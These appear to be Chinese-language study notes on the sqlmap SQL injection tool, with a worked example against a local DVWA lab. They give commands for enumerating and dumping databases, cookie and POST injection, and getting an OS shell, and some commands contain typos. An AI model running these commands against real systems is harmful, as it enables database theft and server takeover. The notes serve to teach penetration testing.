sqlmap工具的使用:
sql注入工具:明小子,啊d、罗卜头、穿山甲、sqlmap等等
开源自动化注入利用工具,支持的数据库有12种,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他是最好的!!
支持的注入类型:bool、时间、报错、联合、、堆查询、内联
可以获取用户名、密码、权限、角色、数据库(表、、字段、内容)
可以爆破识别密文数据
getshell
命令执行
脱库/删除
目录介绍:
doc介绍文档
extra 是sqlmap额外的功能运行CMD执行命令
lib是sqlmap核心功能代码
pluigifins 包含12种数据库识别程序
data 存放一些工具过程中使用的工具或命令
procs 包含了mssql mysql oracle postgresql
shell 远程命令和后门
txt 表名列名、ua字典
udf 存放攻击载荷payload
xml 存放检测的脚本
tamper 包含各种绕waf的处理脚本
thirdparty包含了第三方插件,颜色,优化等
sqlmap工作流程
(1)、初始化
(2)、开始检测
0>检测之前是否注入过(会把检测的url默认存放在家目录中.sqlmap下的output --output-dir参数可以指定存放的目录)
1>解析url,判断该url是否可访问
2>检测是否有WAF
sqlmap -u“目录url” --identify-waf
sqlmap -u "目标url" --check-waf
3>执行用户输入的参数
-u 指定url
-p 执行参数
-v 执行显示的级别
--dbs 数据库
--current-db 当前数据库
--columns 列名
--dump 获取数据
--batch 跳过问询yes直接执行
--DBMS 指定数据库类型
步骤:
(1)、判断注入点:sqlmap -u “目标url” 当看到探测的结果中有环境参数(系统、数据库)表示有注入
(2)、查看所有的数据库:sqlmap -u "目标url" --dbs --dbms mysql
(3)、获取当前的数据库:sqlmap -u“目标url”-D “库名” --dbms mysql
(4)、获取当前数据库下的表:sqlmap -u “目标url” -D“库名” --dbms mysql --tatch --tables
(5)、获取当前数据库中指定表下的字段名:sqlmap -u“目标url”-D 库名 -T 表名
--columns
(6)、获取指定字段对应的内容:sqlmap -u “目标url” -D 库名 -T 表名 -C 字段 -dump(多个字段名需要用,隔开)
例子:
http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#直接访问会出现302跳转,添加cookie
添加cookie后:python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=uuk3j8634mp29hu1vi4dimtvo4"
结果:
post型的sqlmap方法:
拦截数据包保存txt文件,post.txt
python sqlmap.py -r post.txt -p "uname"(-r 读取指定文件,-p告诉sqlmap测试哪个参数)
cookie注入:
python sqlmap.py -u “target” --cookie"uname=12" --level 2
python sqlmap.py -r C:\Users\Han\Desktop\post_cookie.txt --level 2
--level=LEVEL执行测试的等级(1-5、默认是1)
--level 对测试参数的影响,一共是5个等级,默认是1,sqlmap使用的payload可以在payload.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认
UA注入:
伪静态注入:python sqlmap.py -u “url” -v 0-6
--riskmap.py -u “url” -v 0-6
批量测试
sqlmap注入点执行系统命令或者交互式shell
(条件:1.数据库有写文件权限2.需要知道web站点的路径)
sqlmap.py -u "target_url" --os-cmd=ipcondig 执行系统命令ipconfig
sqlmap.py -u "target_url" --os-shell 获取系统的shell
sqlmap.py -u "target_url" --is-dba 判断当前用户是不是dba
延时注入
sqlmap直连mysql数据库
sqlmap.py -d "mysql://root:root@192.168.2.101:3306/mysql" -f --banner --dbs --users
sqlmap注入利用access
acess数据库没有库的概念。打开数据库文件看到只有表和字段以及内容
python sqlmap.py -u "targe_url" --tables//获取所有的数据表
python sqlmap.py -u "target_url" -T 表名 --columns//获取字段
python sqlmap.py -u"target_url" --tables //表名
sqlmap写入文件: